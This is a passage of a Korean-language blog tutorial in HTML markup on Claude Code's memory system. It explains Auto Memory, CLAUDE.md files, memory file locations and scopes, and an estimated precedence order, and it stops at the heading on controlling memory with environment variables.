&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code를 쓰다 보면 한 번쯤 이런 경험을 한다. &quot;아, 이 프로젝트에서는 항상 pnpm 쓴다고 말해야 하는데...&quot; 혹은 &quot;지난번에 해결&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;했던 방법인데 또 같은 설명을 해야 하나?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;나또한 자꾸 ai가 npm, pnpm을 왔다갔다하는 모습을 많이 보았다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이제 Claude Code의 메모리 시스템을 제대로 이해하면 이런 반복 작업에서 벗어날 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wpO7Z/dJMcagR85cg/MQlwkqKBuuRXgF5OcxMPw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wpO7Z/dJMcagR85cg/MQlwkqKBuuRXgF5OcxMPw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wpO7Z/dJMcagR85cg/MQlwkqKBuuRXgF5OcxMPw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwpO7Z%2FdJMcagR85cg%2FMQlwkqKBuuRXgF5OcxMPw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;1300&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code의 가장 강력한 기능 중 하나를 소개하려고 한다. 바로 &lt;b&gt;메모리 시스템(Memory System)&lt;/b&gt;이다. 이 시스템을 제대로 활용하면 개발 워크플로우가 눈에 띄게 개선된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Claude Code의 메모리 시스템은 두 가지 핵심 개념으로 이루어져 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Auto Memory:&lt;/b&gt; Claude가 자동으로 프로젝트 관련 정보를 저장하고 학습하는 시스템&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CLAUDE.md 파일:&lt;/b&gt; 개발자가 작성하고 관리하는 명시적 지침, 규칙, 선호도&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 둘이 함께 작동하면서 Claude Code는 프로젝트의 아키텍처, 코딩 컨벤션, 디버깅 패턴을 자동으로 인식하고, 더 정확하고 효율적인 코드 어시스턴스를 제공할 수 있게 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Code 메모리 시스템이란?
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메모리의 두 가지 유형&lt;/li&gt;
&lt;li&gt;왜 메모리 시스템이 중요한가&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;메모리 유형 한눈에 보기
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;6가지 메모리 스토리지 유형&lt;/li&gt;
&lt;li&gt;각 유형의 용도와 범위&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Auto Memory (자동 메모리) 완벽 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 메모리의 작동 원리&lt;/li&gt;
&lt;li&gt;MEMORY.md 구조와 활용법&lt;/li&gt;
&lt;li&gt;환경변수로 제어하기&lt;/li&gt;
&lt;li&gt;자동 메모리 활성화/비활성화 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLAUDE.md 파일 완벽 가이드
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CLAUDE.md의 역할과 위치&lt;/li&gt;
&lt;li&gt;파일 계층 구조와 우선순위&lt;/li&gt;
&lt;li&gt;프로젝트 로컬 설정 (CLAUDE.local.md)&lt;/li&gt;
&lt;li&gt;추가 디렉토리 접근: --add-dir 플래그&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLAUDE.md Import 기능
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;@ 문법으로 외부 파일 import&lt;/li&gt;
&lt;li&gt;상대/절대 경로 사용법&lt;/li&gt;
&lt;li&gt;재귀 깊이와 보안 고려사항&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;모듈형 규칙: .claude/rules/ 활용하기
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;규칙 파일 구조&lt;/li&gt;
&lt;li&gt;Path-specific rules로 유연하게 제어&lt;/li&gt;
&lt;li&gt;YAML frontmatter 문법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;조직 레벨 메모리 관리
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;관리형 정책 (Managed Policy)&lt;/li&gt;
&lt;li&gt;IT/DevOps가 중앙에서 배포하기&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 활용 사례
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;팀 프로젝트에서의 메모리 구성&lt;/li&gt;
&lt;li&gt;바로 쓸 수 있는 프로젝트 CLAUDE.md 템플릿&lt;/li&gt;
&lt;li&gt;개인 개발 환경 최적화&lt;/li&gt;
&lt;li&gt;엔터프라이즈 레벨 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;모범 사례 &amp;amp; 팁
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메모리를 효과적으로 작성하는 방법&lt;/li&gt;
&lt;li&gt;메모리 파일 정리 및 유지보수&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 메모리가 로드되지 않을 때&lt;/li&gt;
&lt;li&gt;CLAUDE.md가 인식되지 않을 때&lt;/li&gt;
&lt;li&gt;메모리 파일 위치 확인 방법&lt;/li&gt;
&lt;li&gt;Git worktree에서의 메모리 관리&lt;/li&gt;
&lt;li&gt;Auto Memory 저장 오류 및 수정 방법&lt;/li&gt;
&lt;li&gt;CLAUDE.md 미적용 원인과 확인 방법&lt;/li&gt;
&lt;li&gt;CLAUDE.local.md vs CLAUDE.md 사용 시점&lt;/li&gt;
&lt;li&gt;MEMORY.md가 생성되지 않을 때 (플러그인 충돌 포함)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Claude Code 메모리 시스템 개요&lt;/b&gt;&lt;br /&gt;Claude Code의 메모리 시스템은 AI 어시스턴트가 프로젝트의 구조, 코딩 스타일, 아키텍처 결정사항을 &quot;기억&quot;하게 한다.&lt;br /&gt;Auto Memory로 자동 학습하고, CLAUDE.md로 명시적 지침을 제공하면, Claude는 더욱 정확하고 일관된 코드 어시스턴스를 제공할 수 있다.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;빠른 시작: 지금 바로 사용 가능합니다&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;별도 설정이 필요 없습니다.&lt;/b&gt; Claude Code를 설치하면 메모리 시스템은 기본으로 활성화됩니다:&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Auto Memory:&lt;/b&gt; Claude Code 실행 시 자동 활성화 (기본값) &amp;mdash; 별도 활성화 불필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;CLAUDE.md 파일:&lt;/b&gt; 생성하는 순간 자동으로 로드됨 &amp;mdash; 별도 설정 불필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0px;&quot;&gt;&lt;b&gt;끄고 싶을 때만:&lt;/b&gt; 비활성화 방법은 섹션 3에서 확인하세요&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Claude Code 메모리 시스템이란?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 각 세션 시작 시 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;영속적인 메모리를 로드&lt;/b&gt;&lt;/span&gt;한다. 이를 통해 프로젝트의 특성을 학습하고 더 나은 어시스턴스를 제공할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리 시스템은 크게 두 가지로 나뉜다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;1. Auto Memory (자동 메모리)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;세션 중 Claude가 유용하다고 판단한 패턴, 디버깅 인사이트, 프로젝트 아키텍처 정보를 저장할 수 있다. 개발자가 &quot;Remember that we use ESM, not CommonJS&quot;라고 명시적으로 말하면, Claude는 이를 MEMORY.md에 기록한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;2. CLAUDE.md 파일 (명시적 지침)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자가 직접 작성하는 지침, 규칙, 코딩 스타일 등을 포함한다. CLAUDE.md 파일들은 계층 구조를 가지며, 더 구체적인 지침이 우선순위를 가진다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 메모리 시스템이 중요한가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리 시스템 없이는 Claude Code가 매 세션마다 프로젝트의 기본 정보를 다시 물어봐야 한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;우리는 TypeScript를 사용합니다&quot; &amp;larr; 매번 반복해야 함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;인덴트는 2칸입니다&quot; &amp;larr; 매번 설명해야 함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;에러 핸들링은 이렇게 합니다&quot; &amp;larr; 매번 보여줘야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;메모리를 활용하면 이 모든 정보가 자동으로 컨텍스트에 로드되어, Claude는 처음부터 프로젝트의 특성을 이해한 상태에서 일을 시작한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 메모리 유형 한눈에 보기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code는 6가지 메모리 스토리지 유형을 지원한다. 각각의 용도와 범위가 다르다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;메모리 유형&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;위치&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;용도&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;범위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Managed Policy&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;macOS: /Library/Application Support/ClaudeCode/CLAUDE.md&lt;br /&gt;Linux: /etc/claude-code/CLAUDE.md&lt;br /&gt;Windows: C:\Program Files\ClaudeCode\CLAUDE.md&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;조직 정책, 보안, 컴플라이언스&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;조직의 모든 사용자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Project Memory&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;./CLAUDE.md&lt;br /&gt;./.claude/CLAUDE.md&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;팀 공유 지침, 프로젝트 규칙&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;팀 멤버 (소스제어)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Project Rules&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;./.claude/rules/*.md&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;모듈형 규칙 (언어별, 주제별)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;팀 멤버 (소스제어)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;User Memory&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;~/.claude/CLAUDE.md&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;개인 선호도 (모든 프로젝트 공통)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;본인만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Local Memory&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;./CLAUDE.local.md&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;개인 프로젝트 설정 (자동 .gitignore)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;본인만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Auto Memory&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;~/.claude/projects/&amp;lt;project&amp;gt;/memory/&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;자동 패턴 학습, 디버깅 인사이트&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;본인만 (프로젝트별)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 20px; margin: 25px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;나에게 맞는 메모리는? 빠른 선택 가이드&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;혼자 개발, 여러 프로젝트:&lt;/b&gt; User memory (&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;) 먼저 설정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;팀 협업 프로젝트:&lt;/b&gt; Project memory (&lt;code&gt;./CLAUDE.md&lt;/code&gt;) + 개인 설정은 CLAUDE.local.md&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;프로젝트 규칙 세분화 필요:&lt;/b&gt; .claude/rules/ 디렉토리 활용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;자동으로 배우길 원함:&lt;/b&gt; Auto Memory 활성화(기본값) 유지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기업 환경:&lt;/b&gt; Managed Policy로 전사 표준화&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;메모리 우선순위&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;충돌 시에는 &lt;b&gt;더 구체적인(하위) 설정이 우선한다&lt;/b&gt; &amp;mdash; 예를 들어 프로젝트 규칙이 사용자 글로벌 설정보다 우선순위가 높다. 아래는 공식 문서의 우선순위 원칙을 바탕으로 정리한 참고용 순서다. ( 공식 문서에 명시된 순서가 아닌 추정 순서 )&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Managed Policy (조직 정책)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;User Memory (개인 글로벌 설정)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Project Rules (.claude/rules/)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Project Memory (CLAUDE.md)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Local Memory (CLAUDE.local.md)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Auto Memory (MEMORY.md - 첫 200줄만)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Auto Memory (자동 메모리) 완벽 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Auto Memory는 Claude Code의 핵심 기능 중 하나다. 세션 중 Claude가 유용하다고 판단한 프로젝트 관련 정보를 MEMORY.md에 기록하고, 다음 세션 시작 시 자동으로 로드한다. &lt;span style=&quot;color: #28a745;&quot;&gt;&lt;b&gt;기본값으로 활성화되어 있으므로, 별도의 설정 없이 지금 바로 사용할 수 있습니다.&lt;/b&gt;&lt;/span&gt; 비활성화하고 싶을 때만 아래의 &quot;활성화/비활성화 설정&quot; 섹션을 참조하세요.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;Auto Memory&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: left;&quot;&gt;CLAUDE.md&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;작성자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;Claude가 판단하여 저장&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;사용자가 직접 작성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;내용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;패턴, 디버깅 인사이트, 선호도&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;규칙, 지침, 컨텍스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;~/.claude/projects/.../memory/&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;프로젝트/홈 디렉토리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;관리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;Claude가 자동 관리&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;사용자가 직접 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;공유&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;본인만 (프로젝트별)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;팀/개인 선택 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;언제 쓸까&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;항상 켜두기 권장&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;규칙/표준 명시할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;환경변수로 제어하기&lt;/h3&gt;
